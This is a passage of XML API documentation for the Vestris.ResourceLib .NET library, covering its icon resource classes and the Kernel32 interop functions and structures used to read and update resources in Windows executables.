file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.LoadFrom(System.String)\">\n            <summary>\n            Load from a .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.Read(System.IntPtr)\">\n            <summary>\n            Read icons.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of a FILEGRPICONDIR structure.</param>\n            <returns>Pointer to the end of a FILEGRPICONDIR structure.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFileIcon\">\n            <summary>\n            This structure depicts the organization of icon data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Header\">\n            <summary>\n            Icon header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Image\">\n            <summary>\n            Icon bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.#ctor\">\n            <summary>\n            New icon data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Width\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Height\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a single icon (.ico).\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of this icon's data.</param>\n            <param name=\"lpAllData\">Pointer to the beginning of all icon data.</param>\n            <returns>Pointer to the end of this icon's data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.ToString\">\n            <summary>\n            Icon size as a string.\n            </summary>\n            <returns>Icon size in the width x height format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconImageResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._header\">\n            <summary>\n            Directory header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._image\">\n            <summary>\n            Actual image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Header\">\n            <summary>\n            Hardware-independent icon directory header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Id\">\n            <summary>\n            Embedded icon Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Image\">\n            <summary>\n            An icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Create a new icon image resource from a file icon.\n            </summary>\n            <param name=\"icon\">File icon.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource id.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Width\">\n            <summary>\n            Icon width in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Height\">\n            <summary>\n            Icon height in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read an icon resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to a directory entry in the hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read the bitmap image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">Size of image.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormat\">\n            <summary>\n            Icon pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormatString\">\n            <summary>\n            Icon pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ToString\">\n            <summary>\n            String representation of the icon.\n            </summary>\n            <returns>A string in a format of width x height followed by the pixel format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write icon resource data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.SaveIconTo(System.String)\">\n            <summary>\n            Save icon to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Resource language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32\">\n            <summary>\n            Kernel32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER\">\n            <summary>\n            A resource header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wLength\">\n            <summary>\n            Header length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wValueLength\">\n            <summary>\n            Data length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.#ctor(System.UInt16)\">\n            <summary>\n            A new resource header of a given length.\n            </summary>\n            <param name=\"valueLength\"></param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE\">\n            <summary>\n            Resource header type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.BinaryData\">\n            <summary>\n            Binary data.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.StringData\">\n            <summary>\n            String data.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VAR_HEADER\">\n            <summary>\n            Language and code page combinations.\n            The low-order word of each DWORD must contain a Microsoft language identifier, \n            and the high-order word must contain the IBM code page number. \n            Either high-order or low-order word can be zero, indicating that the file is language \n            or code page independent.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wLanguageIDMS\">\n            <summary>\n            Microsoft language identifier.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wCodePageIBM\">\n            <summary>\n            IBM code page number.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO\">\n            <summary>\n            This structure contains version information about a file. \n            This information is language- and code page–independent.\n            http://msdn.microsoft.com/en-us/library/ms647001.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwSignature\">\n            <summary>\n            Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwStrucVersion\">\n            <summary>\n            Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlagsMask\">\n            <summary>\n            Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlags\">\n            <summary>\n            Contains a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileOS\">\n            <summary>\n            Specifies the operating system for which this file was designed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileType\">\n            <summary>\n            Specifies the general type of file. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileSubtype\">\n            <summary>\n            Specifies the function of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.GetWindowsDefault\">\n            <summary>\n            Creates a default Windows VS_FIXEDFILEINFO structure.\n            </summary>\n            <returns>A default Windows VS_FIXEDFILEINFO.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIR\">\n            <summary>\n            A hardware-independent icon directory resource header.\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wType\">\n            <summary>\n            Resource type, 1 for icons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wImageCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry.\n            See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bWidth\">\n            <summary>\n            Width of the image. Starting with Windows 95 a value of 0 represents width of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bHeight\">\n            <summary>\n            Height of the image. Starting with Windows 95 a value of 0 represents height of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bColors\">\n            <summary>\n            Number of colors in the image. \n            bColors = 1 &lt;&lt; (wBitsPerPixel * wPlanes)\n            If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.nID\">\n            <summary>\n            Icon ID.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bWidth\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bHeight\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bColors\">\n            <summary>\n            Colors; 0 means 256 or more.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes for icons.\n            Horizontal hotspot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel for icons.\n            Vertical hostpot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwFileOffset\">\n            <summary>\n            Offset of bitmap data from the beginning of the file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR\">\n            <summary>\n            Hardware-independent icon structure in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wType\">\n            <summary>\n            Resource Type (1 for icons).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_LIBRARY_AS_DATAFILE\">\n            <summary>\n            If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.DONT_RESOLVE_DLL_REFERENCES\">\n            <summary>\n            If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_WITH_ALTERED_SEARCH_PATH\">\n            <summary>\n            If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_IGNORE_CODE_AUTHZ_LEVEL\">\n            <summary>\n            If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadLibraryEx(System.String,System.IntPtr,System.UInt32)\">\n            <summary>\n            Loads the specified module into the address space of the calling process. \n            The specified module may cause other modules to be loaded.\n            </summary>\n            <param name=\"lpFileName\">The name of the module.</param>\n            <param name=\"hFile\">This parameter is reserved for future use.</param>\n            <param name=\"dwFlags\">The action to be taken when loading the module.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FreeLibrary(System.IntPtr)\">\n            <summary>\n            Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count.\n            </summary>\n            <param name=\"hModule\">A handle to the loaded library module.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ResourceTypes\">\n            <summary>\n            Predefined resource types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_CURSOR\">\n            <summary>\n            Hardware-dependent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_BITMAP\">\n            <summary>\n            Bitmap resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ICON\">\n            <summary>\n            Hardware-dependent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MENU\">\n            <summary>\n            Menu resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DIALOG\">\n            <summary>\n            Dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_STRING\">\n            <summary>\n            String-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONTDIR\">\n            <summary>\n            Font directory resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONT\">\n            <summary>\n            Font resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ACCELERATOR\">\n            <summary>\n            Accelerator table.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_RCDATA\">\n            <summary>\n            Application-defined resource (raw data).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MESSAGETABLE\">\n            <summary>\n            Message-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_CURSOR\">\n            <summary>\n            Hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_ICON\">\n            <summary>\n            Hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VERSION\">\n            <summary>\n            Version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DLGINCLUDE\">\n            <summary>\n            Allows a resource editing tool to associate a string with an .rc file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_PLUGPLAY\">\n            <summary>\n            Plug and Play resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VXD\">\n            <summary>\n            VXD.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANICURSOR\">\n            <summary>\n            Animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANIICON\">\n            <summary>\n            Animated icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_HTML\">\n            <summary>\n            HTML.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MANIFEST\">\n            <summary>\n            Microsoft Windows XP: Side-by-Side Assembly XML Manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceTypes(System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resource types within a binary module.\n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource type.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceTypes and EnumResourceTypesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the types are to be enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the type is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceTypes or EnumResourceTypesEx function. </param>\n            <returns>Returns TRUE if successful; otherwise, FALSE.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceNames(System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resources of a specified type within a binary module. \n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of the resource for which the name is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource name or ID.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceNamesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceNames and EnumResourceNamesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources that are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource that is being enumerated.</param>\n            <param name=\"lpszName\">Specifies the name of a resource of the type being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceNames or EnumResourceNamesEx function.</param>\n            <returns>Returns TRUE if the function succeeds or FALSE if the function does not find a resource of the type specified, or if the function fails for another reason.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates language-specific resources, of the specified type and name, associated with a binary module.\n            </summary>\n            <param name=\"hModule\">The handle to a module to search.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type of resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource language.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.EnumResourceLanguagesDelegate\">\n            <summary>\n            An application-defined callback function used with the EnumResourceLanguages and EnumResourceLanguagesEx functions.\n            </summary>\n            <param name=\"hModule\">The handle to the module whose executable file contains the resources for which the languages are being enumerated.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource for which the language is being enumerated.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource for which the language is being enumerated.</param>\n            <param name=\"wIDLanguage\">Specifies the language identifier for the resource for which the language is being enumerated.</param>\n            <param name=\"lParam\">Specifies the application-defined parameter passed to the EnumResourceLanguages or EnumResourceLanguagesEx function.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FindResourceEx(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16)\">\n            <summary>\n            Determines the location of the resource with the specified type, name, and language in the specified module.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"lpszType\">Pointer to a null-terminated string specifying the type name of the resource.</param>\n            <param name=\"lpszName\">Pointer to a null-terminated string specifying the name of the resource.</param>\n            <param name=\"wLanguage\">Specifies the language of the resource.</param>\n            <returns>If the function succeeds, the return value is a handle to the specified resource's information block.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LockResource(System.IntPtr)\">\n            <summary>\n            Locks the specified resource in memory.\n            </summary>\n            <param name=\"hResData\">Handle to the resource to be locked.</param>\n            <returns>If the loaded resource is locked, the return value is a pointer to the first byte of the resource; otherwise, it is NULL.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Loads the specified resource into global memory.\n            </summary>\n            <param name=\"hModule\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResData\">Handle to the resource to be loaded.</param>\n            <returns>If the function succeeds, the return value is a handle to the data associated with the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.SizeofResource(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Returns the size, in bytes, of the specified resource. \n            </summary>\n            <param name=\"hInstance\">Handle to the module whose executable file contains the resource.</param>\n            <param name=\"hResInfo\">Handle to the resource. This handle must be created by using the FindResource or FindResourceEx function.</param>\n            <returns>If the function succeeds, the return value is the number of bytes in the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.CloseHandle(System.IntPtr)\">\n            <summary>\n            Closes an open object handle.\n            </summary>\n            <param name=\"hHandle\">A valid handle to an open object.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.BeginUpdateResource(System.String,System.Boolean)\">\n            <summary>\n            Returns a handle to either a language-neutral portable executable file (LN file) or a \n            language-specific resource file (.mui file) that can be used by the UpdateResource function \n            to add, delete, or replace resources in a binary module.\n            </summary>\n            <param name=\"pFileName\">Pointer to a null-terminated string that specifies the binary file in which to update resources.</param>\n            <param name=\"bDeleteExistingResources\">Specifies whether to delete the pFileName parameter's existing resources.</param>\n            <returns>If the function succeeds, the return value is a handle that can be used by the UpdateResource and EndUpdateResource functions.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.UpdateResource(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.Byte[],System.UInt32)\">\n            <summary>\n            Adds, deletes, or replaces a resource in a portable executable (PE) file. \n            There are some restrictions on resource updates in files that contain Resource Configuration (RC Config) data: \n            language-neutral (LN) files and language-specific resource (.mui) files.\n            </summary>\n            <param name=\"hUpdate\">A module handle returned by the BeginUpdateResource function, referencing the file to be updated.</param>\n            <param name=\"lpType\">Pointer to a null-terminated string specifying the resource type to be updated.</param>\n            <param name=\"lpName\">Pointer to a null-terminated string specifying the name of the resource to be updated.</param>\n            <param name=\"wLanguage\">Specifies the language identifier of the resource to be updated.</param>\n            <param name=\"lpData\">Pointer to the resource data to be inserted into the file indicated by hUpdate.</param>\n            <param name=\"cbData\">Specifies the size, in bytes, of the resource data at lpData.</param>\n            <returns>Returns TRUE if successful or FALSE otherwise.</returns>\n        </member>\n        <member 